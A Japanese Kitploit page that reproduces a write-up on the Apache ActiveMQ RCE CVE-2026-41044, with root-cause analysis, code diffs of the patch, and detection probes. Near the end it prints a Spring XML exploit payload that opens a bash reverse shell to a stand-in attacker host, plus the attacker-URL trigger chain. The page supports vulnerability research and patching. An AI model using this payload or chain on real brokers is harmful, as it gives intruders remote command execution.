Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-41044 — CVE-2026-41044(Apache ActiveMQ のRCE)に関する教育的なウォークスルーと概念実証。根本原因の分析と検出スクリプトを含む。 | Kitploit
ツール/GitHubGitHub/mrillicit/cve-2026-41044
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

CVE-2026-41044(Apache ActiveMQ のRCE)に関する教育的なウォークスルーと概念実証。根本原因の分析と検出スクリプトを含む。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-41044

注記: 教育目的のみ

アドバイザリからRCAまで半日で: AIがN-day分析をどう加速させるか

Apache ActiveMQのCVE-2026-41044を、パッチ適用前後の正確なコードを使って解説する、短くて正直なウォークスルー


CVE-2026-41044は2026年4月24日に公開されました。これはApache ActiveMQ Classicのリモートコード実行バグで、jsjcwによって発見され、5.19.6と6.2.5でパッチが適用されました。私が発見したわけではありません。

私が示したいのは、ActiveMQに触れたことがない人でも、パッチ適用済みのコードも未適用のコードも公開されており、その差分はgit diff一つで確認できるため、N-dayの実用的なエクスプロイトを半日で作成できるということです。


パート1: ワークフロー

プロセスはシンプルです:

  1. アドバイザリを読み、影響を受けるファイル、CWE、言及されている関数名をメモする。
  2. 最後の脆弱性のあるバージョンと最初のパッチ適用済みバージョンを並べてチェックアウトする。
  3. モデルに関連ファイルの差分を取らせ、各変更を説明させる。
  4. ローカルラボでチェーンを再現し、エンドツーエンドでテストする。

かつて数日かかっていた作業が、今では半日で完了します。AIはバグを見つけるのではありません。コードを読み、あなたが質問するのと同じ速さで説明するのです。コストがかかる部分は依然としてあなた自身です: 実際に悪用可能なものは何か、本当の信頼境界はどこか、検証が必要なものは何かを判断すること。モデルは単に人間より速くコールグラフを辿るだけです。

より大きなポイント: パッチ適用のワークフローがCVEごとに1週間の分析時間を前提としているなら、あなたは古いタイムラインにいます。git diffの長さは、検知を書く場合もエクスプロイトを書く場合も同じです。


パート2: CVE-2026-41044

ActiveMQとは?

ActiveMQはメッセージブローカーです。中間に位置し、アプリケーション間でメッセージを渡します。郵便局のようなものだと考えてください: アプリはメッセージを預け、ActiveMQはそれを正しい受信者に配達します。エンタープライズJavaスタックで広く展開されており、Webコンソールと/api/jolokia/にあるJolokiaというREST管理APIを公開しています。多くのデプロイメントでのデフォルト認証情報は依然としてadmin:adminです。


脆弱性を一文で

ActiveMQは、認証された任意のユーザーが任意のHTTP URLからブローカー設定をロードすることを許可しており、Springがそれを解析してJavaオブジェクトとして即座に実行しました - ProcessBuilderを含む - 攻撃者にブローカーサーバー上での完全なOSコマンド実行を許可していました。


背景: 必要な用語

  • ブローカー: 実行中のActiveMQサーバー。名前で識別され、デフォルトはlocalhost。
  • Jolokia: /api/jolokia/にあるHTTP-to-JMXブリッジで、管理操作をREST APIとして公開します。任意の有効なWebコンソール認証情報が到達できます - 管理者だけでなく。
  • vm://トランスポート: クライアントがブローカーと同じJVM内に存在する場合に使用されるインプロセストランスポート。ブローカーをブートストラップするためのSpring XML設定を指す?brokerConfig=クエリパラメータを受け入れます。
  • xbean:: URLをSpring XML設定として扱いロードするようActiveMQに指示するURLスキーム。
  • Springビーン / init-method: SpringはXMLを読み取り、Javaオブジェクト(ビーン)を自動的に作成します。init-method属性は、ビーンが作成された瞬間に - 他の何よりも先に - メソッドを呼び出すようSpringに指示します。
  • ProcessBuilder: OSコマンドを実行する標準Javaクラス。ProcessBuilder.start()がコマンドを実行します。

チェーン: 5つのレイヤー、実際のコード

レイヤー1 - DestinationViewが文字列連結でURLを構築

5.19.2のDestinationView.sendTextMessage()は、ブローカー名を文字列に直接連結してブローカー接続URLを構築します:

root@kitploit:~
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);

getBrokerName()がlocalhost?brokerConfig=xbean:http://attacker/poison.xmlを返す場合、その文字列全体が埋め込みクエリパラメータを持つ有効なvm:// URIになります。ActiveMQConnectionFactoryはそれをVMTransportFactoryに渡し、brokerConfigパラメータを取り出してブローカーのブートストラップ設定URLとして使用します。

5.19.6での修正は1行です:

root@kitploit:~
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();

StringがURIになります - 偶発的な連結はもはや不可能です。値は、ブローカーの実際に登録されたVMコネクタから派生した、事前に構築された不変のURIオブジェクトから取得され、可変の名前文字列からではありません。


レイヤー2 - RegionBrokerでの汚染ポイント

レイヤー1を悪用可能にするには、まずブローカー名を汚染する必要があります。BrokerServiceは常にブローカー名をサニタイズしてきました:

root@kitploit:~
// BrokerService.setBrokerName() - 両バージョンに存在
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");

この正規表現は?と=をきれいに除去します。CVEが存在したのは、RegionBrokerに独自の別のセッターがあり、それがサニタイズしていなかったためです:

root@kitploit:~
// 5.19.2 - RegionBroker.java
private String brokerName;           // 可変

public void setBrokerName(String brokerName) {
    this.brokerName = brokerName;    // 検証なし
}

これは古典的な混乱した代理人(confused deputy)です - 関連するクラスに2つのセッターがあり、そのうちの1つだけがサニタイズします。細工されたBrokerInfoパケットを汚染された名前フィールド付きでブロードキャストするリモートピアは、BrokerServiceの正規表現を完全にバイパスして、RegionBroker.setBrokerName()に直接到達します。

5.19.6での修正はセッターを削除し、フィールドをfinalにし、すでにサニタイズされた親から一度だけ初期化します:

root@kitploit:~
// 5.19.6 - RegionBroker.java
private final String brokerName;     // 不変

public RegionBroker(BrokerService brokerService, ...) {
    this.brokerName = Objects.requireNonNull(
        brokerService.getBrokerName(), "The broker name cannot be null");
    // setBrokerName()は削除されました。セッターはもうありません。
}

並行する書き込み手段がないサニタイザーをバイパスすることはできません。


レイヤー3 - VMTransportFactory: 意図的に変更なし

VMTransportFactory.doCompositeConnect()は、vm://...?brokerConfig=... URIを受け取り、brokerConfigパラメータを取り出し、BrokerFactory.createBroker(brokerURI)を呼び出す関数です。これはチェーン全体のトリガーメカニズムです。

Apacheはここではまったく何も変更していません。

この選択は、彼らが修正についてどう考えていたかを物語っています。VMTransportFactoryは正当な作業を行っています - vm://トランスポートは実際にブートストラップ設定を受け入れることになっています。ここにパッチを当てると、意図された設計が壊れていたでしょう。代わりにApacheは、ソース(レイヤー2: 汚染された名前は書き込めない)とシンク(レイヤー5: 汚染されたURLが通過しても、リソースリゾルバーがそれを取得しない)でバグを修正しました。

検証が属するレイヤーを修正し、攻撃者がたまたま通過したレイヤーを修正しないでください。


レイヤー4 - XBeanBrokerFactoryがURIをSpringに渡す

root@kitploit:~
// XBeanBrokerFactory - 両バージョンで同じ
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);   // レイヤー5
    return new ResourceXmlApplicationContext(resource) { ... };
}

ResourceXmlApplicationContext(resource)はSpringが処理を行う場所です - すべてのビーンのinit-methodはコンテキスト構築時に実行され、ActiveMQのBrokerServiceが結果を検証する前に実行されます。ここでパッチを当てるべきものはありません。Springの契約は設計どおり正しいのです。バグは、ActiveMQがインスタンス化の前に検証が行われることに依存していたが、Springはその順序を保証していないことでした。


レイヤー5 - Utils.resourceFromString: 実際のプリミティブ修正

これはxbean:http://attacker/poison.xmlを取得すべきかどうかを決定する関数です。5.19.2では:

root@kitploit:~
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    if (new File(uri).exists()) {
        return new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        return new UrlResource(ResourceUtils.getURL(uri));  // http? ftp? jar? チェックなし。
    } else {
        return new ClassPathResource(uri);
    }
}

プロトコルフィルタはありません。http://、https://、ftp://、jar:// - すべて黙って受け入れられます。

5.19.6の修正は明示的な許可リストを追加します。デフォルトではfileとclasspathのみが許可されます。それ以外はすべて、UrlResourceが構築される前に例外をスローします:

root@kitploit:~
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL      = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";

public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
        throws MalformedURLException {
    // ...
    } else if (ResourceUtils.isUrl(uri)) {
        validateUrlAllowed(uri, allowedProtocols);           // http/https等なら例外をスロー
        resource = new UrlResource(ResourceUtils.getURL(uri));
    }
}

static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
        throws URISyntaxException {
    if (allowedProtocols != null) {
        final String detectedProtocol = getProtocolFromScheme(uriString);
        if (!allowedProtocols.contains(detectedProtocol)) {
            throw new IllegalArgumentException("URL [" + uriString +
                    "] uses protocol '" + detectedProtocol + "' which is not allowed");
        }
    }
}

XBeanBrokerFactoryは現在、許可リストとして{file, classpath}を渡します。将来のバージョンで汚染されたブローカー名が何らかの方法でこの関数に到達しても、http://attacker/poison.xmlはSpringがそれを認識する前に例外をスローします。


エクスプロイトペイロードの外観

root@kitploit:~
<beans xmlns="http://www.springframework.org/schema/beans" ...>
  <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/sh</value>
        <value>-c</value>
        <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

SpringがApplicationContextを構築した瞬間、init-method="start"がProcessBuilderビーンで発火します。ActiveMQのBrokerService.start()検証はその後で実行されます。その時点でシェルはすでに接続を返しています。


PoCと2つのパスについて

脆弱なUtils.resourceFromStringシンクに到達する方法は2つあります:

完全な本番パス(アドバイザリが説明するもの):

root@kitploit:~
リモートピアが細工されたBrokerInfoパケットを送信
  -> RegionBroker.setBrokerName()が検証なしで汚染された名前を保存
    -> DestinationView.sendTextMessage()がそれをvm:// URLに連結
      -> VMTransportFactoryがbrokerConfigパラメータを取り出す
        -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE

ショートパス(poc.shが使用するもの):

root@kitploit:~
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
  -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE

PoCは実用的な理由でショートパスを取ります: 完全なパスでは、細工されたBrokerInfoパケットをターゲットに送信する2番目のActiveMQブローカーをネットワークピアとしてセットアップする必要があります - より複雑なラボ設定を必要とするブローカー間の相互作用です。ショートパスは単一のブローカーと基本的なHTTPサーバーで機能します。

両方のパスが同じ脆弱なプリミティブに到達します。PoCはシンクが悪用可能であり、CVEがターゲットに存在することを確認します。アドバイザリで説明されている正確なエントリポイントを再現したい場合は、ブローカー間のステップを追加する必要があります。


検知

PoCはデフォルトで検知のみのモードで実行されます。2つのシグナルをプローブします:

バナーチェック - Jolokia経由でBrokerVersionを読み取ります:

  • < 5.19.6または6.0.0 - 6.2.4 = 脆弱な範囲

動作チェック - Jolokia経由でaddNetworkConnector("vm://probe")を呼び出します:

  • パッチ適用済み(5.19.6+)は次を返します: Transport scheme 'vm' is not allowed
  • 脆弱なバージョンはDiscoveryAgent scheme NOT recognized IOExceptionを返します

パッチ適用済みバージョンでの拒否は、BrokerView.validateAllowedUrl()によるものです - 5.19.6でaddNetworkConnector JMX操作に直接追加された別の拒否リストで、Utils.resourceFromStringによるものではありません。これらは2つの独立した修正です: 1つはJMX管理サーフェスを保護し、もう1つはレイヤー5で説明したリソースローディングプリミティブを保護します。動作プローブは前者をテストします。


修正のまとめ

レイヤー脆弱なバージョン (5.19.2)修正済み (5.19.6)
DestinationView"vm://" + brokerName 文字列連結broker.getVmConnectorURI() 不変URI
RegionBroker可変フィールド、サニタイズされていないセッターfinalフィールド、セッター削除、サニタイズ済み親から初期化
VMTransportFactory変更なし変更なし (設計による)
XBeanBrokerFactoryUtils.resourceFromString(uri)を呼び出すUtils.resourceFromString(uri, allowedProtocols)を呼び出す
Utils.resourceFromString任意のURLスキームを取得許可リストを強制 - デフォルトではfileとclasspathのみ

参照とクレジット

  • Apacheアドバイザリ: CVE-2026-41044
  • ActiveMQ Classic 5.19.6および6.2.5でパッチ適用
  • 脆弱性発見: jsjcw
  • 関連CVE(文脈用): CVE-2026-34197 (Horizon3.ai)
  • この記事のコードは5.19.2および5.19.6のソースツリーから直接検証済み
  • Varshit Modiによるガイダンス、AI支援で生成
ツールをダウンロード